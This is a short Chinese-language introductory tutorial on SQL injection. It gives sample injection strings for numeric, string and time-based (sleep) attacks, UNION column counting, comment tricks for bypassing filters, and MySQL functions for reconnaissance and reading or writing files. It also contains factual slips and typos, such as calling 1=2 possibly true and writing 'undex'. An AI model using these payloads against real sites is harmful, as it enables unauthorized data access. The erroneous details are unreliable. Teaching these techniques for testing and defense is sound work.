SQL注入是什么
sql注入是指利用sql语句,通过web向数据库提交sql语句不正当在未授权的情况下获取数据,sql注入曾被OWASP组织评为十大漏洞之首,可见sql注入漏洞的危害。
SQL注入分为那几种
数字型和字符型
数字型一般不需要闭合。
字符型一般需要闭合。
闭合方式:
单引号闭合:’
双引号闭合:"
单括号闭合:)
双括号闭合:))
单引括号闭合:’)
双引括号闭合:")
等。。。。。
数字型注入演示
?id=1 回显正常
?id=1’报错
查询过程
select * from table where id=1这样是正常的查询语句,返回正常的结果。
select * from table where id=1’ 查询语句不是正常的查询语句所以会报错。
select * from table where id=1 and 1=2这样能正常查询也不会报错,但是没有查询结果,1=2可能为真吧!
字符型注入演示
?id=1
?id=1’
?id=1’ and 1=1
查询过程
我们在查询一个用户名时是不是得需要两边加上个单引号和双引号。
select * from table where username=‘char’ 这样才能正常查询,而查询id的时候是不是只是需要where id=1就可以了
selec t* from table where username=‘root and 1=1’ 这样查询肯定会报错,and 1=1 会当做字段里的内容,这时就需要闭合分开来了。
select * from table where username=‘root’ and 1=1–+’
其他注入
POST注入
GET注入
延时注入
base64编码注入
等。。
也就是数字型和字符型注入的分支
常见的数据库
SQL server、mysql、oracle
sql注入数据库中常见的表
information_schema.tables
information_schema.columns
Mysql注释
在注入的时候常常用到以下注释
select * from table #
select * from table --
单行注释
/*select * from table
*/
多行注释
/*! select * from table
*/
内联注释,绕过的时候常常用到
union联合查询语句
union联合查询语句常常在sql注入中用到,union就是联合的意思,结合查询多个字段。
union select null,null,null
union select 1,2,3
这两种方式都能查询出字段数
mysql中常用的函数
database() | 查询数据库名 |
---|---|
user() | 查询用户名 |
version() | 查询数据库版本 |
length() | 返回字符长度 |
substring() | 截取字符串长度 |
@@datadir() | 获取数据库路径 |
@@basedir | mysql数据库安装路径 |
group_concat()/concat() | 连接多个字符串函数 |
system_user | 查询系统用户 |
current_user | 查询当前用户 |
@@version_compile_os | 获取操作系统 |
now() | 获取当前时间 |
ascii | 返回ASCII码 |
hex | 字符串转换为16进制 |
undex | 16进制转换为字符串 |
floor() | 返回不大于x的最大整数值 |
load_file() | 函数读文件 |
into outfile() | 写文件 |
rand() | 随机函数 |
count() | 统计函数 |
延时注入演示
and sleep(4)
查询过程
select * from table where id=1 and sleep(4) 四秒后执行sql语句
?id=1' and sleep(4)--+
可以看到慢了很多,四秒后打开页面,这样判断出存在字符型时间sql注入。
后续未完待续。。。